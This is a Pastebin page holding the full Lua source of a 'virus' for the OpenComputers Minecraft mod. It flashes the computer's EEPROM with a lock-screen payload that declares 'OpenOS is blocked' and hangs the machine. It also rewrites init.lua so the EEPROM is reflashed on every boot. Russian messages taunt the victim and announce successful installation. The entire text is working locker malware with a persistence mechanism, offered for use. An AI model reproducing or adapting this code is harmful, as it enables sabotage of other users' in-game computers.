Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local virusPath = "bin/virus.lua"
- local EEPROMLabel = "EEPROM (Lua BIOS)"
- ------------------------------------------------------------------------------------------------------------------------
- local EEPROMCode = [[
- local textLines = {
- "Поздравляем!",
- "Вы стали одним из первых счастливых обладателей вируса на OpenComputers.",
- "Попытайтесь его удалить - посмотрим, что у вас выйдет. ",
- "Ну, а нубикам советую обращаться к ECS для разблокировки компа.",
- " ",
- "Хех)",
- }
- local component_invoke = component.invoke
- function boot_invoke(address, method, ...)
- local result = table.pack(pcall(component_invoke, address, method, ...))
- if not result[1] then
- return nil, result[2]
- else
- return table.unpack(result, 2, result.n)
- end
- end
- ---------------------------------------------------------------
- local eeprom = component.list("eeprom")()
- computer.getBootAddress = function()
- return boot_invoke(eeprom, "getData")
- end
- computer.setBootAddress = function(address)
- return boot_invoke(eeprom, "setData", address)
- end
- do
- _G.screen = component.list("screen")()
- _G.gpu = component.list("gpu")()
- if gpu and screen then
- boot_invoke(gpu, "bind", screen)
- end
- end
- ---------------------------------------------------------------
- local function centerText(mode,coord,text)
- local dlina = unicode.len(text)
- local xSize,ySize = boot_invoke(gpu, "getResolution")
- if mode == "x" then
- boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),coord,text)
- elseif mode == "y" then
- boot_invoke(gpu, "set", coord, math.floor(ySize/2),text)
- else
- boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),math.floor(ySize/2),text)
- end
- end
- local function virus()
- local background, foreground = 0x0000AA, 0xCCCCCC
- local xSize, ySize = boot_invoke(gpu, "getResolution")
- boot_invoke(gpu, "setBackground", background)
- boot_invoke(gpu, "fill", 1, 1, xSize, ySize, " ")
- boot_invoke(gpu, "setBackground", foreground)
- boot_invoke(gpu, "setForeground", background)
- local y = math.floor(ySize / 2 - (#textLines + 2) / 2)
- centerText("x", y, " OpenOS заблокирована! ")
- y = y + 2
- boot_invoke(gpu, "setBackground", background)
- boot_invoke(gpu, "setForeground", foreground)
- for i = 1, #textLines do
- centerText("x", y, textLines[i])
- y = y + 1
- end
- while true do
- computer.pullSignal()
- end
- end
- if gpu then virus() end
- ]]
- local INITCode = [[
- local backgroundColor = 0x262626
- local foregroundColor = 0xcccccc
- do
- _G._OSVERSION = "OpenOS 1.5"
- local component = component
- local computer = computer
- local unicode = unicode
- -- Runlevel information.
- local runlevel, shutdown = "S", computer.shutdown
- computer.runlevel = function() return runlevel end
- computer.shutdown = function(reboot)
- runlevel = reboot and 6 or 0
- if os.sleep then
- computer.pushSignal("shutdown")
- os.sleep(0.1) -- Allow shutdown processing.
- end
- shutdown(reboot)
- end
- -- Low level dofile implementation to read filesystem libraries.
- local rom = {}
- function rom.invoke(method, ...)
- return component.invoke(computer.getBootAddress(), method, ...)
- end
- function rom.open(file) return rom.invoke("open", file) end
- function rom.read(handle) return rom.invoke("read", handle, math.huge) end
- function rom.close(handle) return rom.invoke("close", handle) end
- function rom.inits() return ipairs(rom.invoke("list", "boot")) end
- function rom.isDirectory(path) return rom.invoke("isDirectory", path) end
- local screen = component.list('screen',true)()
- for address in component.list('screen',true) do
- if #component.invoke(address, 'getKeyboards') > 0 then
- screen = address
- end
- end
- -- Report boot progress if possible.
- local gpu = component.list("gpu", true)()
- local w, h
- if gpu and screen then
- component.invoke(gpu, "bind", screen)
- w, h = component.invoke(gpu, "getResolution")
- component.invoke(gpu, "setResolution", w, h)
- component.invoke(gpu, "setBackground", backgroundColor)
- component.invoke(gpu, "setForeground", foregroundColor)
- component.invoke(gpu, "fill", 1, 1, w, h, " ")
- end
- local y = 1
- local function status(msg)
- local yPos = math.floor(h / 2)
- local length = #msg
- local xPos = math.floor(w / 2 - length / 2)
- component.invoke(gpu, "fill", 1, yPos, w, 1, " ")
- component.invoke(gpu, "set", xPos, yPos, msg)
- -- if gpu and screen then
- -- component.invoke(gpu, "set", 1, y, msg)
- -- if y == h then
- -- component.invoke(gpu, "copy", 1, 2, w, h - 1, 0, -1)
- -- component.invoke(gpu, "fill", 1, h, w, 1, " ")
- -- else
- -- y = y + 1
- -- end
- -- end
- end
- status("Booting " .. _OSVERSION .. "...")
- -- Custom low-level loadfile/dofile implementation reading from our ROM.
- local function loadfile(file)
- status("> " .. file)
- local handle, reason = rom.open(file)
- if not handle then
- error(reason)
- end
- local buffer = ""
- repeat
- local data, reason = rom.read(handle)
- if not data and reason then
- error(reason)
- end
- buffer = buffer .. (data or "")
- until not data
- rom.close(handle)
- return load(buffer, "=" .. file)
- end
- local function dofile(file)
- local program, reason = loadfile(file)
- if program then
- local result = table.pack(pcall(program))
- if result[1] then
- return table.unpack(result, 2, result.n)
- else
- error(result[2])
- end
- else
- error(reason)
- end
- end
- status("Initializing package management...")
- -- Load file system related libraries we need to load other stuff moree
- -- comfortably. This is basically wrapper stuff for the file streams
- -- provided by the filesystem components.
- local package = dofile("/lib/package.lua")
- do
- -- Unclutter global namespace now that we have the package module.
- --_G.component = nil
- _G.computer = nil
- _G.process = nil
- _G.unicode = nil
- -- Initialize the package module with some of our own APIs.
- package.preload["buffer"] = loadfile("/lib/buffer.lua")
- package.preload["component"] = function() return component end
- package.preload["computer"] = function() return computer end
- package.preload["filesystem"] = loadfile("/lib/filesystem.lua")
- package.preload["io"] = loadfile("/lib/io.lua")
- package.preload["unicode"] = function() return unicode end
- -- Inject the package and io modules into the global namespace, as in Lua.
- _G.package = package
- _G.io = require("io")
- end
- status("Initializing file system...")
- -- Mount the ROM and temporary file systems to allow working on the file
- -- system module from this point on.
- local filesystem = require("filesystem")
- filesystem.mount(computer.getBootAddress(), "/")
- status("Running boot scripts...")
- -- Run library startup scripts. These mostly initialize event handlers.
- local scripts = {}
- for _, file in rom.inits() do
- local path = "boot/" .. file
- if not rom.isDirectory(path) then
- table.insert(scripts, path)
- end
- end
- table.sort(scripts)
- for i = 1, #scripts do
- dofile(scripts[i])
- end
- status("Initializing components...")
- local primaries = {}
- for c, t in component.list() do
- local s = component.slot(c)
- if (not primaries[t] or (s >= 0 and s < primaries[t].slot)) and t ~= "screen" then
- primaries[t] = {address=c, slot=s}
- end
- computer.pushSignal("component_added", c, t)
- end
- for t, c in pairs(primaries) do
- component.setPrimary(t, c.address)
- end
- os.sleep(0.5) -- Allow signal processing by libraries.
- --computer.pushSignal("init") -- so libs know components are initialized.
- -- status("Initializing system...")
- --require("term").clear()
- os.sleep(0.1) -- Allow init processing.
- runlevel = 1
- end
- ]]
- local component = require("component")
- local args = { ... }
- local function flashEEPROM()
- local eeprom = component.getPrimary("eeprom")
- eeprom.set(EEPROMCode)
- eeprom.setLabel(EEPROMLabel)
- end
- local function rewriteInit()
- local file = io.open("init.lua", "w")
- file:write(INITCode, "\n", "\n")
- file:write("pcall(loadfile(\"" .. virusPath .. "\"), \"flashEEPROM\")", "\n", "\n")
- file:write("require(\"computer\").shutdown(true)")
- file:close()
- end
- if args[1] == "flashEEPROM" then
- flashEEPROM()
- else
- print(" ")
- print("Перепрошиваю BIOS...")
- flashEEPROM()
- print("Перезаписываю кастомный init.lua...")
- rewriteInit()
- print(" ")
- print("Вирус успешно установлен!")
- print(" ")
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement